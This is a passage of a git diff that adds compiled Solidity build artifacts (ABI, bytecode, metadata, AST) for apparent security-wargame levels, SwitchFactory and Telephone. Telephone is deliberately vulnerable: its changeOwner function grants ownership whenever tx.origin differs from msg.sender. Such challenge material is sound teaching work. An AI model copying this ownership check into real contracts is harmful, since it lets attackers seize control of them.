owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/SwitchFactory.sol\":\"SwitchFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Switch.sol\":{\"keccak256\":\"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba\",\"dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv\"]},\"src/levels/SwitchFactory.sol\":{\"keccak256\":\"0x670e61a90ecdd073cf5912b6cbfc90d2ed9057da7046dbeec384c67715b8b403\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://61acc79d39a16340a5ba8a3b4b694771c4cb8adbf7204a4ae0c7dac3685fdc87\",\"dweb:/ipfs/QmaSr9T2TW6e261E9yUZ6VS1tJhzrFEGgyVVi828MZGsDK\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/SwitchFactory.sol":"SwitchFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Switch.sol":{"keccak256":"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e","urls":["bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba","dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv"],"license":"MIT"},"src/levels/SwitchFactory.sol":{"keccak256":"0x670e61a90ecdd073cf5912b6cbfc90d2ed9057da7046dbeec384c67715b8b403","urls":["bzz-raw://61acc79d39a16340a5ba8a3b4b694771c4cb8adbf7204a4ae0c7dac3685fdc87","dweb:/ipfs/QmaSr9T2TW6e261E9yUZ6VS1tJhzrFEGgyVVi828MZGsDK"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/SwitchFactory.sol","id":55284,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700],"Switch":[55228],"SwitchFactory":[55283]},"nodeType":"SourceUnit","src":"32:511:109","nodes":[{"id":55230,"nodeType":"PragmaDirective","src":"32:23:109","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55231,"nodeType":"ImportDirective","src":"57:26:109","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":55284,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":55232,"nodeType":"ImportDirective","src":"84:22:109","nodes":[],"absolutePath":"src/levels/Switch.sol","file":"./Switch.sol","nameLocation":"-1:-1:-1","scope":55284,"sourceUnit":55229,"symbolAliases":[],"unitAlias":""},{"id":55283,"nodeType":"ContractDefinition","src":"108:434:109","nodes":[{"id":55258,"nodeType":"FunctionDefinition","src":"146:179:109","nodes":[],"body":{"id":55257,"nodeType":"Block","src":"229:96:109","nodes":[],"statements":[{"expression":{"id":55242,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55236,"src":"239:7:109","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55243,"nodeType":"ExpressionStatement","src":"239:7:109"},{"assignments":[55246],"declarations":[{"constant":false,"id":55246,"mutability":"mutable","name":"_switch","nameLocation":"263:7:109","nodeType":"VariableDeclaration","scope":55257,"src":"256:14:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"},"typeName":{"id":55245,"nodeType":"UserDefinedTypeName","pathNode":{"id":55244,"name":"Switch","nameLocations":["256:6:109"],"nodeType":"IdentifierPath","referencedDeclaration":55228,"src":"256:6:109"},"referencedDeclaration":55228,"src":"256:6:109","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"visibility":"internal"}],"id":55251,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":55249,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"273:10:109","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Switch_$55228_$","typeString":"function () returns (contract Switch)"},"typeName":{"id":55248,"nodeType":"UserDefinedTypeName","pathNode":{"id":55247,"name":"Switch","nameLocations":["277:6:109"],"nodeType":"IdentifierPath","referencedDeclaration":55228,"src":"277:6:109"},"referencedDeclaration":55228,"src":"277:6:109","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}},"id":55250,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"273:12:109","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"nodeType":"VariableDeclarationStatement","src":"256:29:109"},{"expression":{"arguments":[{"id":55254,"name":"_switch","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55246,"src":"310:7:109","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}],"id":55253,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"302:7:109","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55252,"name":"address","nodeType":"ElementaryTypeName","src":"302:7:109","typeDescriptions":{}}},"id":55255,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302:16:109","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":55241,"id":55256,"nodeType":"Return","src":"295:23:109"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"155:14:109","overrides":{"id":55238,"nodeType":"OverrideSpecifier","overrides":[],"src":"202:8:109"},"parameters":{"id":55237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55236,"mutability":"mutable","name":"_player","nameLocation":"178:7:109","nodeType":"VariableDeclaration","scope":55258,"src":"170:15:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55235,"name":"address","nodeType":"ElementaryTypeName","src":"170:7:109","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"169:17:109"},"returnParameters":{"id":55241,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55240,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55258,"src":"220:7:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55239,"name":"address","nodeType":"ElementaryTypeName","src":"220:7:109","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"219:9:109"},"scope":55283,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":55282,"nodeType":"FunctionDefinition","src":"331:209:109","nodes":[],"body":{"id":55281,"nodeType":"Block","src":"437:103:109","nodes":[],"statements":[{"expression":{"id":55268,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55262,"src":"447:7:109","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55269,"nodeType":"ExpressionStatement","src":"447:7:109"},{"assignments":[55272],"declarations":[{"constant":false,"id":55272,"mutability":"mutable","name":"_switch","nameLocation":"471:7:109","nodeType":"VariableDeclaration","scope":55281,"src":"464:14:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"},"typeName":{"id":55271,"nodeType":"UserDefinedTypeName","pathNode":{"id":55270,"name":"Switch","nameLocations":["464:6:109"],"nodeType":"IdentifierPath","referencedDeclaration":55228,"src":"464:6:109"},"referencedDeclaration":55228,"src":"464:6:109","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"visibility":"internal"}],"id":55276,"initialValue":{"arguments":[{"id":55274,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55260,"src":"488:9:109","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":55273,"name":"Switch","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55228,"src":"481:6:109","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Switch_$55228_$","typeString":"type(contract Switch)"}},"id":55275,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"481:17:109","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"nodeType":"VariableDeclarationStatement","src":"464:34:109"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55277,"name":"_switch","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55272,"src":"515:7:109","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"id":55278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"523:8:109","memberName":"switchOn","nodeType":"MemberAccess","referencedDeclaration":55140,"src":"515:16:109","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":55279,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"515:18:109","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":55267,"id":55280,"nodeType":"Return","src":"508:25:109"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"340:16:109","overrides":{"id":55264,"nodeType":"OverrideSpecifier","overrides":[],"src":"413:8:109"},"parameters":{"id":55263,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55260,"mutability":"mutable","name":"_instance","nameLocation":"373:9:109","nodeType":"VariableDeclaration","scope":55282,"src":"357:25:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55259,"name":"address","nodeType":"ElementaryTypeName","src":"357:15:109","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":55262,"mutability":"mutable","name":"_player","nameLocation":"392:7:109","nodeType":"VariableDeclaration","scope":55282,"src":"384:15:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55261,"name":"address","nodeType":"ElementaryTypeName","src":"384:7:109","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"356:44:109"},"returnParameters":{"id":55267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55266,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55282,"src":"431:4:109","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55265,"name":"bool","nodeType":"ElementaryTypeName","src":"431:4:109","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"430:6:109"},"scope":55283,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":55233,"name":"Level","nameLocations":["134:5:109"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"134:5:109"},"id":55234,"nodeType":"InheritanceSpecifier","src":"134:5:109"}],"canonicalName":"SwitchFactory","contractDependencies":[55228],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55283,55508,46700,48281],"name":"SwitchFactory","nameLocation":"117:13:109","scope":55284,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":109} \ No newline at end of file diff --git a/contracts/out/Telephone.sol/Telephone.json b/contracts/out/Telephone.sol/Telephone.json new file mode 100644 index 000000000..839e0084a --- /dev/null +++ b/contracts/out/Telephone.sol/Telephone.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"changeOwner","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b505f80546001600160a01b0319163317905561014f8061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033","sourceMap":"57:237:110:-:0;;;109:49;;;;;;;;;-1:-1:-1;133:5:110;:18;;-1:-1:-1;;;;;;133:18:110;141:10;133:18;;;57:237;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033","sourceMap":"57:237:110:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;82:20;;;;;;;;;;;;190:42:155;178:55;;;160:74;;148:2;133:18;82:20:110;;;;;;;164:128;;;;;;:::i;:::-;;:::i;:::-;;;222:9;235:10;222:23;218:68;;261:5;:14;;;;;;;;;;218:68;164:128;:::o;245:309:155:-;304:6;357:2;345:9;336:7;332:23;328:32;325:52;;;373:1;370;363:12;325:52;412:9;399:23;462:42;455:5;451:54;444:5;441:65;431:93;;520:1;517;510:12;431:93;543:5;245:309;-1:-1:-1;;;245:309:155:o","linkReferences":{}},"methodIdentifiers":{"changeOwner(address)":"a6f9dae1","owner()":"8da5cb5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"changeOwner\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Telephone.sol\":\"Telephone\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Telephone.sol\":{\"keccak256\":\"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1\",\"dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"changeOwner"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Telephone.sol":"Telephone"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Telephone.sol":{"keccak256":"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170","urls":["bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1","dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Telephone.sol","id":55315,"exportedSymbols":{"Telephone":[55314]},"nodeType":"SourceUnit","src":"32:263:110","nodes":[{"id":55285,"nodeType":"PragmaDirective","src":"32:23:110","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55314,"nodeType":"ContractDefinition","src":"57:237:110","nodes":[{"id":55287,"nodeType":"VariableDeclaration","src":"82:20:110","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"97:5:110","scope":55314,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55286,"name":"address","nodeType":"ElementaryTypeName","src":"82:7:110","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":55296,"nodeType":"FunctionDefinition","src":"109:49:110","nodes":[],"body":{"id":55295,"nodeType":"Block","src":"123:35:110","nodes":[],"statements":[{"expression":{"id":55293,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55290,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55287,"src":"133:5:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":55291,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"141:3:110","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55292,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"145:6:110","memberName":"sender","nodeType":"MemberAccess","src":"141:10:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"133:18:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55294,"nodeType":"ExpressionStatement","src":"133:18:110"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":55288,"nodeType":"ParameterList","parameters":[],"src":"120:2:110"},"returnParameters":{"id":55289,"nodeType":"ParameterList","parameters":[],"src":"123:0:110"},"scope":55314,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55313,"nodeType":"FunctionDefinition","src":"164:128:110","nodes":[],"body":{"id":55312,"nodeType":"Block","src":"208:84:110","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":55301,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"222:2:110","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":55302,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"225:6:110","memberName":"origin","nodeType":"MemberAccess","src":"222:9:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":55303,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"235:3:110","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55304,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"239:6:110","memberName":"sender","nodeType":"MemberAccess","src":"235:10:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"222:23:110","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55311,"nodeType":"IfStatement","src":"218:68:110","trueBody":{"id":55310,"nodeType":"Block","src":"247:39:110","statements":[{"expression":{"id":55308,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55306,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55287,"src":"261:5:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":55307,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55298,"src":"269:6:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"261:14:110","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55309,"nodeType":"ExpressionStatement","src":"261:14:110"}]}}]},"functionSelector":"a6f9dae1","implemented":true,"kind":"function","modifiers":[],"name":"changeOwner","nameLocation":"173:11:110","parameters":{"id":55299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55298,"mutability":"mutable","name":"_owner","nameLocation":"193:6:110","nodeType":"VariableDeclaration","scope":55313,"src":"185:14:110","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55297,"name":"address","nodeType":"ElementaryTypeName","src":"185:7:110","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"184:16:110"},"returnParameters":{"id":55300,"nodeType":"ParameterList","parameters":[],"src":"208:0:110"},"scope":55314,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Telephone","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55314],"name":"Telephone","nameLocation":"